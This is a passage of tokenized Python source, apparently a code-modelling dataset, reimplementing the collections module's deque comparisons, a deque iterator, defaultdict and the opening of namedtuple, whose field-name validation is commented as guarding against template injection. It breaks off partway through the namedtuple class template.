"other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "other_", ",_", "deque_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "(_", "self_", ")_", "<_", "list_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Not", "Implemented_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "le", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "other_", ",_", "deque_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "(_", "self_", ")_", "<=_", "list_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Not", "Implemented_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gt", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "other_", ",_", "deque_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "(_", "self_", ")_", ">_", "list_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Not", "Implemented_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "ge", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "other_", ",_", "deque_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "(_", "self_", ")_", ">=_", "list_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Not", "Implemented_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iad", "d\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "extend_", "(_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "deq", "ue", "\\u", "iterator_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "deq", "ue", "\\u", "iterator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "deq", "_", ",_", "iter", "gen_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "counter_", "=_", "len_", "(_", "deq", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "give", "up_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "counter_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "raise", " ", "Run", "time", "Error", ",", " ", "\"", "deq", "ue", " ", "mutate", "d", " ", "dur", "ing", " ", "iterati", "on", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "Run", "time", "Error_", "(_", "\"", "deq", "ue", " ", "mutate", "d", " ", "dur", "ing", " ", "iterati", "on", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "gen_", "=_", "iter", "gen_", "(_", "deq", "_", "._", "state_", ",_", "give", "up_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deq", "ue", "\\u", "iterator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "next_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "self_", "._", "\\u", "gen_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "counter_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "deq", "ue", "\\u", "iterator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "defaultdict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "fix", "me", "..", " ", " ", "had", " ", "to", " ", "add", " ", "this", " ", "function", " ", "to", " ", "get", " ", "default", "dict", " ", "working", " ", "with", " ", "br", "yth", "on", " ", "correct", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", "def", " ", "\\u\\u", "getitem", "\\u\\u", "(", "self", ",", " ", "key", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "self", ".\\u", "\\u", "contain", "s", "\\u\\u", "(", "key", "):", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "return", " ", "dict", ".\\u", "\\u", "getitem", "\\u\\u", "(", "self", ",", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "return", " ", "self", ".\\u", "\\u", "missi", "ng", "\\u\\u", "(", "key", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "defaultdict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwds_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "args_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "default", "\\u", "factory_", "=_", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "args_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "callable_", "(_", "default", "\\u", "factory_", ")_", "and_", "default", "\\u", "factory_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "first", " ", "argu", "ment", " ", "must", " ", "be", " ", "calla", "ble", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "default", "\\u", "factory_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dict_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "args_", ",_", "kwds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "default", "\\u", "factory_", "=_", "default", "\\u", "factory_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "update_", "(_", "args_", ",_", "kwds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "defaultdict_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "defaultdict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "missi", "ng", "\\u\\u_", "(_", "self_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "from", " ", "default", "dict", " ", "docs_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "default", "\\u", "factory_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Key", "Error_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "[_", "key_", "]_", "=_", "value_", "=_", "self_", "._", "default", "\\u", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "defaultdict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ",_", "recurse_", "=_", "set_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "id_", "(_", "self_", ")_", "in_", "recurse_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "default", "dict", "(...)", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "recurse_", "._", "add_", "(_", "id_", "(_", "self_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "default", "dict", "(%", "s", ",", " ", "%", "s", ")\"_", "%_", "(_", "repr_", "(_", "self_", "._", "default", "\\u", "factory_", ")_", ",_", "super_", "(_", "defaultdict_", ",_", "self_", ")_", "._", "\\u\\u", "repr\\u\\u_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "recurse_", "._", "remove_", "(_", "id_", "(_", "self_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "defaultdict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "copy_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "type_", "(_", "self_", ")_", "(_", "self_", "._", "default", "\\u", "factory_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "defaultdict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "copy", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "defaultdict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "reduce", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#\\u", "\\u", "reduce", "\\u\\u", " ", "must", " ", "return", " ", "a", " ", "5", "-", "tuple", " ", "as", " ", "follow", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "-", " ", "factor", "y", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "-", " ", "tuple", " ", "of", " ", "args", " ", "for", " ", "the", " ", "factor", "y", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "-", " ", "addition", "al", " ", "state", " ", "(", "here", " ", "Non", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "-", " ", "sequence", " ", "iter", "ator", " ", "(", "here", " ", "Non", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "-", " ", "dictionar", "y", " ", "iter", "ator", " ", "(", "yield", "ing", " ", "success", "ive", " ", "(", "key", ",", " ", "value", ")", " ", "pairs_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Thi", "s", " ", "API", " ", "is", " ", "used", " ", "by", " ", "pickle", ".", "py", " ", "and", " ", "copy", ".", "py", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "type_", "(_", "self_", ")_", ",_", "(_", "self_", "._", "default", "\\u", "factory_", ",_", ")_", ",_", "None_", ",_", "None_", ",_", "self_", "._", "items_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "namedtuple_", "(_", "typename_", ",_", "field", "\\u", "names_", ",_", "verbose_", "=_", "False_", ",_", "rename_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "a", " ", "new", " ", "subclass", " ", "of", " ", "tuple", " ", "with", " ", "named", " ", "fields", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Point", " ", "=", " ", "namedtupl", "e", "('", "Point", "',", " ", "'", "x", " ", "y", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Point", ".\\u", "\\u", "doc", "\\u\\u", " ", "#", " ", "docstr", "ing", " ", "for", " ", "the", " ", "new", " ", "class", "\\", "10", ";", " ", " ", " ", " ", "'", "Point", "(", "x", ",", " ", "y", ")'", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", " ", "=", " ", "Point", "(", "11", ",", " ", "y", "=", "2", "2", ")", " ", " ", " ", " ", " ", "#", " ", "instantiate", " ", "with", " ", "positional", " ", "args", " ", "or", " ", "keywords", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", "[", "0", "]", " ", "+", " ", "p", "[", "1", "]", " ", " ", " ", "#", " ", "index", "able", " ", "like", " ", "a", " ", "plain", " ", "tuple", "\\", "10", ";", " ", " ", " ", " ", "3", "3", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "x", ",", " ", "y", " ", "=", " ", "p", " ", " ", "#", " ", "unpack", " ", "like", " ", "a", " ", "regular", " ", "tuple", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "x", ",", " ", "y", "\\", "10", ";", " ", " ", " ", " ", "(", "11", ",", " ", "2", "2", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", ".", "x", " ", "+", " ", "p", ".", "y", " ", " ", " ", " ", " ", "#", " ", "fields", " ", "als", "o", " ", "access", "able", " ", "by", " ", "name", "\\", "10", ";", " ", " ", " ", " ", "3", "3", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", " ", "=", " ", "p", ".\\u", "asd", "ict", "()", " ", " ", " ", " ", " ", "#", " ", "convert", " ", "to", " ", "a", " ", "dictionar", "y", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "d", "['", "x", "']", "\\", "10", ";", " ", " ", " ", " ", "11", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Point", "(*", "*", "d", ")", " ", " ", " ", " ", "#", " ", "convert", " ", "from", " ", "a", " ", "dictionar", "y", "\\", "10", ";", " ", " ", " ", " ", "Point", "(", "x", "=", "11", ",", " ", "y", "=", "2", "2", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", ".\\u", "replace", "(", "x", "=", "100", ")", " ", " ", " ", "#", " ", "\\u", "replace", "()", " ", "is", " ", "like", " ", "str", ".", "replace", "()", " ", "but", " ", "target", "s", " ", "named", " ", "fields", "\\", "10", ";", " ", " ", " ", " ", "Point", "(", "x", "=", "100", ",", " ", "y", "=", "2", "2", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pars", "e", " ", "and", " ", "validat", "e", " ", "the", " ", "field", " ", "names", ".", " ", " ", "Validat", "ion", " ", "serve", "s", " ", "two", " ", "purpose", "s", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "generat", "ing", " ", "informati", "ve", " ", "error", " ", "message", "s", " ", "and", " ", "prevent", "ing", " ", "template", " ", "injection", " ", "attacks", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "field", "\\u", "names_", ",_", "str_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "field", "\\u", "names_", "=_", "field", "\\u", "names_", "._", "replace_", "(_", "','_", ",_", "'", " ", "'_", ")_", "._", "split_", "(_", ")_", "#", " ", "names", " ", "separate", "d", " ", "by", " ", "whitespace", " ", "and", "/", "or", " ", "commas", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "field", "\\u", "names_", "=_", "tuple_", "(_", "map_", "(_", "str_", ",_", "field", "\\u", "names_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "rename_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "names_", "=_", "list_", "(_", "field", "\\u", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "seen_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "name_", "in_", "enumerate_", "(_", "names_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "not_", "min_", "(_", "c_", "._", "isal", "num_", "(_", ")_", "or_", "c_", "==_", "'\\u'_", "for_", "c_", "in_", "name_", ")_", "or_", "\\u", "isk", "ey", "word_", "(_", "name_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "or_", "not_", "name_", "or_", "name_", "[_", "0_", "]_", "._", "isdigit_", "(_", ")_", "or_", "name_", "._", "startswith_", "(_", "'\\u'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "or_", "name_", "in_", "seen_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "names_", "[_", "i_", "]_", "=_", "'\\u", "%", "d", "'_", "%_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "seen_", "._", "add_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "field", "\\u", "names_", "=_", "tuple_", "(_", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "name_", "in_", "(_", "typename_", ",_", ")_", "+_", "field", "\\u", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "min_", "(_", "c_", "._", "isal", "num_", "(_", ")_", "or_", "c_", "==_", "'\\u'_", "for_", "c_", "in_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Type", " ", "names", " ", "and", " ", "field", " ", "names", " ", "can", " ", "only", " ", "contain", " ", "alphanumeric", " ", "character", "s", " ", "and", " ", "underscore", "s", ":", " ", "%", "r", "'_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u", "isk", "ey", "word_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Type", " ", "names", " ", "and", " ", "field", " ", "names", " ", "cann", "ot", " ", "be", " ", "a", " ", "keyw", "ord", ":", " ", "%", "r", "'_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "name_", "[_", "0_", "]_", "._", "isdigit_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Type", " ", "names", " ", "and", " ", "field", " ", "names", " ", "cann", "ot", " ", "start", " ", "with", " ", "a", " ", "number", ":", " ", "%", "r", "'_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "see", "n", "\\u", "names_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "field", "\\u", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "._", "startswith_", "(_", "'\\u'_", ")_", "and_", "not_", "rename_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Field", " ", "names", " ", "cann", "ot", " ", "start", " ", "with", " ", "an", " ", "underscore", ":", " ", "%", "r", "'_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "name_", "in_", "see", "n", "\\u", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Enco", "unter", "ed", " ", "duplicat", "e", " ", "field", " ", "name", ":", " ", "%", "r", "'_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "see", "n", "\\u", "names_", "._", "add_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "and", " ", "fill", "-", "in", " ", "the", " ", "class", " ", "template_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "numf", "ields", "_", "=_", "len_", "(_", "field", "\\u", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg", "txt_", "=_", "repr_", "(_", "field", "\\u", "names_", ")_", "._", "replace_", "(_", "\"'\"_", ",_", "\"\"_", ")_", "[_", "1_", ":_", "-_", "1_", "]_", "#", " ", "tuple", " ", "repr", " ", "with", "out", " ", "paren", "s", " ", "or", " ", "quotes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repr", "txt_", "=_", "',", " ", "'_", "._", "join_", "(_", "'%", "s", "=", "%%", "r", "'_", "%_", "name_", "for_", "name_", "in_", "field", "\\u", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "template_", "=_", "'''", "class", " ", "%", "(", "type", "name", ")", "s", "(", "tuple", "):", "\\", "10", ";", " ", " ", " ", " ", "'%", "(", "type", "name", ")", "s", "(%", "(", "arg", "txt", ")", "s", ")'", " ", "\\\\", "n", "\\", "10", ";", " ", " ", " ", " ", "\\u\\u", "slot", "s", "\\u\\u", " ", "=", " ", "()", " ", "\\\\", "n", "\\", "10", ";", " ", " ", " ", " ", "\\u", "fields", " ", "=", " ", "%", "(", "field", "\\u", "names", ")", "r", " ", "\\\\", "n", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "\\u\\u", "new", "\\u\\u", "(\\u", "cls", ",", " ", "%", "(", "arg", "txt", ")", "s", "):", "\\", "10", ";", " ", " ", " ", " ", "return", " ", "tuple", ".\\u", "\\u", "new", "\\u\\u", "(\\u", "cls", ",", " ", "(%", "(", "arg", "txt", ")", "s", "))", " ", "\\\\", "n", "\\", "10", ";", " ", " ", " ", " ", "@", "class", "method", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "\\u", "make", "(", "cls", ",", " ", "iterable", ",", " ", "new", "=", "tuple", ".\\u", "\\u", "new", "\\u\\u", ",", " ", "len", "=", "len", "):", "\\", "10", ";", " ", " ", " ", " ", "'", "Make", " ", "a", " ", "new", " ", "%", "(", "type", "name", ")", "s", " ", "object", " ", "from", " ", 